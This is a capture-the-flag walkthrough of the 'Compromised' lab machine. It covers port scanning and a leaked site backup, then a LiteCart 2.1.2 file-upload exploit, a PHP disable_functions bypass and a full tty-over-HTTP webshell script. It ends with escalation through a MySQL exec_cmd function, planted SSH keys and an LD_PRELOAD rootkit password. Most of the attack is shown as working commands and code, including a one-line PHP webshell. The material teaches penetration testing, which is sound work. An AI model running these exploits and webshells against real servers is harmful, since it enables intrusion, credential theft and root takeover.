Compromised

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.207 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Thu Apr 27 13:15:07 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.207
Nmap scan report for 10.10.10.207
Host is up (0.038s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Thu Apr 27 13:15:34 2023 -- 1 IP address (1 host up) scanned in 26.47 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.207 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Thu Apr 27 13:16:00 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.207
Nmap scan report for 10.10.10.207
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6eda5c8e8efb8e75274ab92a59cd4bcb (RSA)
| 256 d5c5b30dc8b669e4fb13a3814a1516d2 (ECDSA)
|_ 256 356aeeafdcf85e670dbbf3ab18644790 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.10.10.207/shop/en/
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 27 13:16:12 2023 -- 1 IP address (1 host up) scanned in 11.87 seconds
There is a rubber duck online store hosted on port 80. It works with a LiteCart server.

There are a few interesting files that we can enumerate with gobuster.
gobuster dir -u http://10.10.10.207 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php
dir
enumerates directories or files.-u
the target URL.-w
path to the wordlist.-t
number of current threads, in this case 200 threads.-x
file extensions to search for.
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.207
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/04/27 19:42:21 Starting gobuster in directory enumeration mode
===============================================================
/shop (Status: 301) [Size: 311] [--> http://10.10.10.207/shop/]
/backup (Status: 301) [Size: 313] [--> http://10.10.10.207/backup/]
/index.php (Status: 302) [Size: 0] [--> /shop]
/.php (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
Progress: 441120 / 441122 (100.00%)
===============================================================
2023/04/27 19:49:08 Finished
===============================================================
The /backup
directory contains a compressed file.

Download the file, and decompress it.
tar xf a.tar.gz
It contains a shop
directory, with what looks like a backup of the web server.
ls -la shop/
total 76
drwxr-xr-x 11 root root 4096 May 28 2020 .
drwxr-xr-x 3 root root 4096 Apr 27 15:31 ..
drwxr-xr-x 24 root root 4096 Sep 3 2020 admin
drwxr-xr-x 2 root root 4096 May 28 2020 cache
drwxr-xr-x 2 root root 4096 May 28 2020 data
drwxr-xr-x 7 root root 4096 May 14 2018 ext
-rw-r--r-- 1 root root 15086 May 28 2020 favicon.ico
-rw-r--r-- 1 root root 2854 May 28 2020 .htaccess
drwxr-xr-x 10 root root 4096 May 28 2020 images
drwxr-xr-x 11 root root 4096 May 28 2020 includes
-rw-r--r-- 1 root root 2508 May 14 2018 index.php
drwxr-xr-x 2 root root 4096 May 28 2020 logs
drwxr-xr-x 4 root root 4096 May 14 2018 pages
-rw-r--r-- 1 root root 71 May 28 2020 robots.txt
-rw-r--r-- 1 root root 35 May 28 2020 .sh.php
drwxr-xr-x 4 root root 4096 May 29 2020 vqmod
The .sh.php
is a webshell. It looks like the server was compromissed.
cat shop/.sh.php
<?php system($_REQUEST['cmd']); ?>
Unfortunatelly for us, the webshell doesn't exist anymore in the web server.
http://10.10.10.207/.sh.php

There is one directory called admin
, with some PHP files.
ls -la shop/admin/
total 116
drwxr-xr-x 24 root root 4096 Sep 3 2020 .
drwxr-xr-x 11 root root 4096 May 28 2020 ..
drwxr-xr-x 2 root root 4096 May 14 2018 addons.widget
drwxr-xr-x 2 root root 4096 May 14 2018 appearance.app
drwxr-xr-x 2 root root 4096 May 14 2018 catalog.app
drwxr-xr-x 2 root root 4096 May 14 2018 countries.app
drwxr-xr-x 2 root root 4096 May 14 2018 currencies.app
drwxr-xr-x 2 root root 4096 May 14 2018 customers.app
drwxr-xr-x 2 root root 4096 May 14 2018 discussions.widget
drwxr-xr-x 2 root root 4096 May 14 2018 geo_zones.app
drwxr-xr-x 2 root root 4096 May 14 2018 graphs.widget
-rw-r--r-- 1 root root 6460 May 14 2018 index.php
drwxr-xr-x 2 root root 4096 May 14 2018 languages.app
-rw-r--r-- 1 root root 1364 Sep 3 2020 login.php
-rw-r--r-- 1 root root 203 May 14 2018 logout.php
drwxr-xr-x 2 root root 4096 May 14 2018 modules.app
drwxr-xr-x 2 root root 4096 May 14 2018 orders.app
drwxr-xr-x 2 root root 4096 May 14 2018 orders.widget
drwxr-xr-x 2 root root 4096 May 14 2018 pages.app
drwxr-xr-x 2 root root 4096 May 14 2018 reports.app
-rw-r--r-- 1 root root 4094 May 14 2018 search_results.json.php
drwxr-xr-x 2 root root 4096 May 14 2018 settings.app
drwxr-xr-x 2 root root 4096 May 14 2018 slides.app
drwxr-xr-x 2 root root 4096 May 14 2018 stats.widget
drwxr-xr-x 2 root root 4096 May 14 2018 tax.app
drwxr-xr-x 2 root root 4096 May 14 2018 translations.app
drwxr-xr-x 2 root root 4096 May 28 2020 users.app
drwxr-xr-x 2 root root 4096 May 28 2020 vqmods.app
The login.php
contains a comment with the name of a log file.
cat shop/admin/login.php
...
if (isset($_POST['login'])) {
//file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
}
...
The .log2301c9430d8593ae.txt
file contains credentials.
curl http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt
User: admin Passwd: theNextGenSt0r3!~
Let's use them in the login page in /shop/admin
.

Once in, we'll see the version of te LiteCart software.

There is one arbitrary file upload vulnerability that affects this version of the software.
searchsploit litecart 2.1.2
-------------------------------------------------------------- ----------------------
Exploit Title | Path
-------------------------------------------------------------- ----------------------
LiteCart 2.1.2 - Arbitrary File Upload | php/webapps/45267.py
-------------------------------------------------------------- ----------------------
Shellcodes: No Results
Let's move it to the current directory.
searchsploit -m php/webapps/45267.py
Exploitation
If we run the script, we'll see that it uploads the webshell successfully, but we can't run commands with it.
python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/LTD8M.php?c=id
Let's modify the exploit. Instead of run a PHP webshell, we'll make it show PHP information.
nano 45267.py
files = {
'vqmod': (rand + ".php", "<?php phpinfo(); ?>", "application/xml"),
'token':one,
'upload':(None,"Upload")
}
Now, run the exploit again, and check the uploaded file to see phpinfo()
function.
python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

As we can see in the disable_functions
section, all the functions that allow us to run commands on the system are disabled.

But there is still a way to run commands on the system using the PHP 7.3 disable_functions Bypass code. Download it, and modify it the call of the pwn
function.
nano bypass.py
...
pwn($_GET['cmd']);
...
Now we need to make the exploit upload this code instead of the webshell.
nano 45267.py
...
bypass = open("bypass.php", "r").read()
files = {
'vqmod': (rand + ".php", bypass, "application/xml"),
'token':one,
'upload':(None,"Upload")
}
...
Run the script again to upload the bypass.php
file.
python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/UYO5E.php?c=id
Now we are able to run commands on the system as www-data
.
curl http://10.10.10.207/shop/vqmod/xml/UYO5E.php?cmd=whoami
www-data
We won't be able to get a shell, because there seems to some kind of firewall blocking connections from the inside. But we can use tools such as ttyoverhttp to get a TTY shell over a n HTTP webshell. Download the script, and modify it to add the path to the webshell.
wget https://raw.githubusercontent.com/s4vitar/ttyoverhttp/master/tty_over_http.py
nano tty_over_http.py
#!/usr/bin/python3
import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange
class AllTheReads(object):
def __init__(self, interval=1):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
readoutput = """/bin/cat %s""" % (stdout)
clearoutput = """echo '' > %s""" % (stdout)
while True:
output = RunCmd(readoutput)
if output:
RunCmd(clearoutput)
print(output)
time.sleep(self.interval)
def RunCmd(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
}
result = (requests.get('http://10.10.10.207/shop/vqmod/xml/UYO5E.php', params=payload, timeout=5).text).strip()
return result
def WriteCmd(cmd):
cmd = cmd.encode('utf-8')
cmd = b64encode(cmd).decode('utf-8')
payload = {
'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
}
result = (requests.get('http://10.10.10.207/shop/vqmod/xml/UYO5E.php', params=payload, timeout=5).text).strip()
return result
def ReadCmd():
GetOutput = """/bin/cat %s""" % (stdout)
output = RunCmd(GetOutput)
return output
def SetupShell():
NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
try:
RunCmd(NamedPipes)
except:
None
return None
global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)
SetupShell()
ReadingTheThings = AllTheReads()
def sig_handler(sig, frame):
print("\n\n[*] Exiting...\n")
print("[*] Removing files...\n")
RunCmd(erasestdin)
RunCmd(erasestdout)
print("[*] All files have been deleted\n")
sys.exit(0)
signal.signal(signal.SIGINT, sig_handler)
while True:
cmd = input("> ")
WriteCmd(cmd + "\n")
time.sleep(1.1)
Run the script to get a shell in the sever.
rlwrap python tty_over_http.py
> whoami
www-data
> hostname
compromised
Privilege Escalation
There are two users who use a bash
in the system.
grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
There is one file called config.inc.php
with credentials for the MySQL database.
cat /var/www/html/shop/includes/config.inc.php
...
// Database
define('DB_TYPE', 'mysql');
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'changethis');
define('DB_DATABASE', 'ecom');
define('DB_TABLE_PREFIX', 'lc_');
define('DB_CONNECTION_CHARSET', 'utf8');
define('DB_PERSISTENT_CONNECTIONS', 'false');
...
Let's see what databases we can access with these credentials.
mysql -uroot -pchangethis -e "show databases;"
information_schema
ecom
mysql
performance_schema
sys
Sometimes there are functions stored in the mysql
database. In this case, there is one called exec_cmd
.
mysql -uroot -pchangethis -e "select * from mysql.func"
name ret dl type
exec_cmd 0 libmysql.so function
Using this function we are able to run commands as the mysql
user.
mysql -uroot -pchangethis -e "select exec_cmd('whoami')"
mysql
As port 22 is open, we can grab our public SSH key, and put it in the authorized_keys
file of the mysql
user.
cat ~/.ssh/id_rsa.pub | tr -d '\n' | base64 | xclip -sel clip
Now, put it in the the authorized_keys
file of the mysql
user, located in his home directory /var/lib/mysql/
.
mysql -uroot -pchangethis -e "select exec_cmd('echo c3N...zYQ== | base64 -d > /var/lib/mysql/.ssh/authorized_keys')"
Now we can get a shell via SSH as mysql
without any password.
ssh mysql@10.10.10.207
Last login: Thu Apr 27 15:04:47 2023 from 10.10.14.4
mysql@compromised:~$ whoami
mysql
We need to become the sysadmin
user to get the user flag. We are currently in the mysql
home directory /var/lib/mysql
, which contains a file called strace-log.dat
.
ls -la
total 189280
...
-r--r----- 1 root mysql 787180 May 13 2020 strace-log.dat
...
If we search for the password
word in the file, we'll see some credentials.
grep -i password strace-log.dat
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30
Using the found password, we'll be able to become the sysadmin
user, and then we could grab the user flag.
su sysadmin
Password: 3*NLJE32I$Fe
sysadmin@compromised:/var/lib/mysql$ whoami
sysadmin
sysadmin@compromised:/var/lib/mysql$ cat /home/sysadmin/user.txt
47de7dc8388ea72c09a894ade95b4de4
As we know that this machine has been compromised before, maybe the attacker had a rootkit to escalate privileges easily. One way to do it is by hooking functions via LDPRELOAD
.
find / -name preload 2>/dev/null
/etc/ld.so.preload
It uses libdate.so
.
cat /etc/ld.so.preload
/lib/x86_64-linux-gnu/libdate.so
Base64 encode its content.
cat /lib/x86_64-linux-gnu/libdate.so | base64 -w 0
Then, transfer it to our local machine.
echo f0V...AAA= | base64 -d > libdate.so
Now, let's use radare2 to inspect the file more in depth.
radare2 libdate.so
[0x00001060]> aaa
[0x00001060]> afl
[0x00001060]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00001060]> afl
0x00001060 3 205 entry0
0x00001040 1 6 sym.imp.dlsym
0x00001050 1 6 sym.imp.strstr
0x00001020 1 6 sym.imp.setgid
0x00001030 1 6 sym.imp.setuid
0x00001010 1 6 sym.imp.execve
If we inspect entry0
, we'll see that it has a password.
[0x00001060]> s entry0
[0x00001060]> pdf
...
│ 0x000010a1 488945f0 mov qword [var_10h], rax
│ 0x000010a5 c645d032 mov byte [s2], 0x32 ; '2'
│ 0x000010a9 c645d177 mov byte [var_2fh], 0x77 ; 'w'
│ 0x000010ad c645d26b mov byte [var_2eh], 0x6b ; 'k'
│ 0x000010b1 c645d365 mov byte [var_2dh], 0x65 ; 'e'
│ 0x000010b5 c645d44f mov byte [var_2ch], 0x4f ; 'O'
│ 0x000010b9 c645d555 mov byte [var_2bh], 0x55 ; 'U'
│ 0x000010bd c645d634 mov byte [var_2ah], 0x34 ; '4'
│ 0x000010c1 c645d773 mov byte [var_29h], 0x73 ; 's'
│ 0x000010c5 c645d86a mov byte [var_28h], 0x6a ; 'j'
│ 0x000010c9 c645d976 mov byte [var_27h], 0x76 ; 'v'
│ 0x000010cd c645da38 mov byte [var_26h], 0x38 ; '8'
│ 0x000010d1 c645db34 mov byte [var_25h], 0x34 ; '4'
│ 0x000010d5 c645dc6f mov byte [var_24h], 0x6f ; 'o'
│ 0x000010d9 c645dd6b mov byte [var_23h], 0x6b ; 'k'
│ 0x000010dd c645de2f mov byte [var_22h], 0x2f ; '/'
│ 0x000010e1 c645df00 mov byte [var_21h], 0
...
As this hijacks the read
function, whenever we use that function, and enter the 2wkeOU4sjv84ok/
password, we'll get a shell as root. We could do this with the passwd
command. Then, all we have to do is reap the harvest and take the root flag.
passwd
Changing password for sysadmin.
(current) UNIX password: 2wkeOU4sjv84ok/ # reset: unknown terminal type unknown
Terminal type? xterm
Erase is control-H (^H).
# whoami
root
# cat /root/root.txt
1be6fb819feed00629ca171c54a3ac40
Last updated
Was this helpful?